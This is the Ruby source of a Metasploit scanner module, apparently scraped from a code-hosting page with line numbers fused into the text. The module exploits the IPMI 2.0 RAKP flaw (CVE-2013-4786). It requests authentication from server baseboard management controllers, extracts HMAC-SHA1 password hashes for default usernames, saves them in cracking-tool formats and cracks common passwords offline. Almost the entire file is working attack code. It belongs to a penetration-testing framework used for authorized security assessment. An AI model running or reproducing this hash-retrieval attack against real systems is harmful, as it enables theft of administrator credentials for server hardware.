Path: blob/master/modules/auxiliary/scanner/ipmi/ipmi_dumphashes.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Auxiliary::Scanner89def initialize10super(11'Name' => 'IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval',12'Description' => %q|13This module identifies IPMI 2.0-compatible systems and attempts to retrieve the14HMAC-SHA1 password hashes of default usernames. The hashes can be stored in a15file using the OUTPUT_FILE option and then cracked using hmac_sha1_crack.rb16in the tools subdirectory as well hashcat (cpu) 0.46 or newer using type 7300.17|,18'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],19'License' => MSF_LICENSE,20'References' => [21['URL', 'http://fish2.com/ipmi/remote-pw-cracking.html'],22['URL', 'https://seclists.org/bugtraq/2014/Apr/16'], # HP's SSRT10136723['CVE', '2013-4786'],24['OSVDB', '95057'],25['BID', '61076'],26],27'DisclosureDate' => 'Jun 20 2013'28)2930register_options(31[32Opt::RPORT(623),33OptPath.new('USER_FILE', [34true, "File containing usernames, one per line",35File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_users.txt')36]),37OptPath.new('PASS_FILE', [38true, "File containing common passwords for offline cracking, one per line",39File.join(Msf::Config.install_root, 'data', 'wordlists', 'ipmi_passwords.txt')40]),41OptString.new('OUTPUT_HASHCAT_FILE', [false, "Save captured password hashes in hashcat format"]),42OptString.new('OUTPUT_JOHN_FILE', [false, "Save captured password hashes in john the ripper format"]),43OptBool.new('CRACK_COMMON', [true, "Automatically crack common passwords as they are obtained", true]),44OptInt.new('SESSION_RETRY_DELAY', [true, "Delay between session retries in seconds", 5]),45OptInt.new('SESSION_MAX_ATTEMPTS', [true, "Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)", 5])46]47)48end4950def post_auth?51true52end5354def ipmi_status(msg)55vprint_status("#{rhost}:#{rport} - IPMI - #{msg}")56end5758def ipmi_error(msg)59vprint_error("#{rhost}:#{rport} - IPMI - #{msg}")60end6162def ipmi_good(msg)63print_good("#{rhost}:#{rport} - IPMI - #{msg}")64end6566def run_host(ip)67ipmi_status("Sending IPMI probes")6869usernames = []70passwords = []7172# Load up our username list (save on open fds)73::File.open(datastore['USER_FILE'], "rb") do |fd|74fd.each_line do |line|75usernames << line.strip76end77end78usernames << ""79usernames = usernames.uniq8081# Load up our password list (save on open fds)82::File.open(datastore['PASS_FILE'], "rb") do |fd|83fd.each_line do |line|84passwords << line.gsub(/\r?\n?/, '')85end86end87passwords << ""88passwords = passwords.uniq8990delay_value = datastore['SESSION_RETRY_DELAY'].to_i91max_session_attempts = datastore['SESSION_MAX_ATTEMPTS'].to_i9293self.udp_sock = Rex::Socket::Udp.create({ 'Context' => { 'Msf' => framework, 'MsfExploit' => self } })94add_socket(self.udp_sock)9596reported_vuln = false97session_succeeded = false9899usernames.each do |username|100console_session_id = Rex::Text.rand_text(4)101console_random_id = Rex::Text.rand_text(16)102103ipmi_status("Trying username '#{username}'...")104105rakp = nil106sess = nil107sess_data = nil108109# It may take multiple tries to get a working "session" on certain BMCs (HP iLO 4, etc)1101.upto(max_session_attempts) do |attempt|111r = nil1121.upto(3) do113udp_send(Rex::Proto::IPMI::Utils.create_ipmi_session_open_request(console_session_id))114r = udp_recv(5.0)115break if r116end117118unless r119ipmi_status("No response to IPMI open session request")120rakp = nil121break122end123124sess = process_opensession_reply(*r)125unless sess126ipmi_status("Could not understand the response to the open session request")127rakp = nil128break129end130131if sess.data.length < 8132ipmi_status("Refused IPMI open session request, waiting #{delay_value} seconds")133rakp = nil134sleep(delay_value) if session_succeeded135next # break136end137138session_succeeded = true139140sess_data = Rex::Proto::IPMI::Session_Data.new.read(sess.data)141142r = nil1431.upto(3) do144udp_send(Rex::Proto::IPMI::Utils.create_ipmi_rakp_1(sess_data.bmc_session_id, console_random_id, username))145r = udp_recv(5.0)146break if r147end148149unless r150ipmi_status("No response to RAKP1 message")151next152end153154rakp = process_rakp1_reply(*r)155unless rakp156ipmi_status("Could not understand the response to the RAKP1 request")157rakp = nil158break159end160161# Sleep and retry on session ID errors162if rakp.error_code == 2163ipmi_error("Returned a Session ID error for username #{username} on attempt #{attempt}")164Rex.sleep(1)165next166end167168if rakp.error_code != 0169ipmi_error("Returned error code #{rakp.error_code} for username #{username}: #{Rex::Proto::IPMI::RMCP_ERRORS[rakp.error_code].to_s}")170rakp = nil171break172end173174# TODO: Finish documenting this error field175if rakp.ignored1 != 0176ipmi_error("Returned error code #{rakp.ignored1} for username #{username}")177rakp = nil178break179end180181# Check if there is hash data182if rakp.data.length < 56183rakp = nil184break185end186187# Break out of the session retry code if we make it here188break189end190191# Skip to the next user if we didnt get a valid response192next if !rakp193194# Calculate the salt used in the hmac-sha1 hash195rakp_data = Rex::Proto::IPMI::RAKP2_Data.new.read(rakp.data)196hmac_buffer = Rex::Proto::IPMI::Utils.create_rakp_hmac_sha1_salt(197console_session_id,198sess_data.bmc_session_id,199console_random_id,200rakp_data.bmc_random_id,201rakp_data.bmc_guid,2020x14,203username204)205206sha1_salt = hmac_buffer.unpack("H*")[0]207sha1_hash = rakp_data.hmac_sha1.unpack("H*")[0]208209if sha1_hash == "0000000000000000000000000000000000000000"210ipmi_error("Returned a bogus SHA1 hash for username #{username}")211next212end213214ipmi_good("Hash found: #{username}:#{sha1_salt}:#{sha1_hash}")215216write_output_files(rhost, username, sha1_salt, sha1_hash)217218# Write the rakp hash to the database219hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}"220core_id = report_hash(username, hash)221# Write the vulnerability to the database222unless reported_vuln223report_vuln(224:host => rhost,225:port => rport,226:proto => 'udp',227:sname => 'ipmi',228:name => 'IPMI 2.0 RMCP+ Authentication Password Hash Exposure',229:info => "Obtained password hash for user #{username}: #{sha1_salt}:#{sha1_hash}",230:refs => self.references231)232reported_vuln = true233end234235# Offline crack common passwords and report clear-text credentials236next unless datastore['CRACK_COMMON']237238passwords.uniq.each do |pass|239pass = pass.strip240next unless pass.length > 0241next unless Rex::Proto::IPMI::Utils.verify_rakp_hmac_sha1(hmac_buffer, rakp_data.hmac_sha1, pass)242243ipmi_good("Hash for user '#{username}' matches password '#{pass}'")244245# Report the clear-text credential to the database246report_cracked_cred(username, pass, core_id)247break248end249end250end251252def process_opensession_reply(data, shost, sport)253shost = shost.sub(/^::ffff:/, '')254info = Rex::Proto::IPMI::Open_Session_Reply.new.read(data) rescue nil255return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RMCPPLUSOPEN_REP256257info258end259260def process_rakp1_reply(data, shost, sport)261shost = shost.sub(/^::ffff:/, '')262info = Rex::Proto::IPMI::RAKP2.new.read(data) rescue nil263return unless info && info.session_payload_type == Rex::Proto::IPMI::PAYLOAD_RAKP2264265info266end267268def write_output_files(rhost, username, sha1_salt, sha1_hash)269if datastore['OUTPUT_HASHCAT_FILE']270::File.open(datastore['OUTPUT_HASHCAT_FILE'], "ab") do |fd|271fd.write("#{rhost} #{username}:#{sha1_salt}:#{sha1_hash}\n")272fd.flush273end274end275276if datastore['OUTPUT_JOHN_FILE']277::File.open(datastore['OUTPUT_JOHN_FILE'], "ab") do |fd|278fd.write("#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}\n")279fd.flush280end281end282end283284def service_data285{286address: rhost,287port: rport,288service_name: 'ipmi',289protocol: 'udp',290workspace_id: myworkspace_id291}292end293294def report_hash(user, hash)295credential_data = {296module_fullname: self.fullname,297origin_type: :service,298private_data: hash,299private_type: :nonreplayable_hash,300jtr_format: 'rakp',301username: user,302}.merge(service_data)303304login_data = {305core: create_credential(credential_data),306status: Metasploit::Model::Login::Status::UNTRIED307}.merge(service_data)308309cl = create_credential_login(login_data)310cl ? cl.core_id : nil311end312313def report_cracked_cred(user, password, core_id)314cred_data = {315core_id: core_id,316username: user,317password: password318}319320create_cracked_credential(cred_data)321end322323#324# Helper methods (these didn't quite fit with existing mixins)325#326327attr_accessor :udp_sock328329def udp_send(data)330begin331udp_sock.sendto(data, rhost, datastore['RPORT'], 0)332rescue ::Interrupt333raise $!334rescue ::Exception335end336end337338def udp_recv(timeo)339r = udp_sock.recvfrom(65535, timeo)340r[1] ? r : nil341end342343def rhost344datastore['RHOST']345end346347def rport348datastore['RPORT']349end350end351352353